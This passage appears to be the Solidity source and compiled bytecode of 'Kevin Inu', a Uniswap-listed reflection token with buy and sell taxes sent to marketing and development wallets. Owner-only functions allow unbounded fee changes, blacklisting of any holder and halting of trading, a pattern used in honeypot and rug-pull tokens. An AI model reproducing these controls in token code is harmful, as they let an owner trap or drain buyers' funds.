pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KevinInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kevin Inu"; string private constant _symbol = "KEVIN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x9cd172F2CD247e372F593E56C6f90a2951F12341); address payable private _marketingAddress = payable(0x70A77A949D2437B5CB4812CC1337f727f4b6a72f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600981526020017f4b6576696e20496e750000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f4b4556494e000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b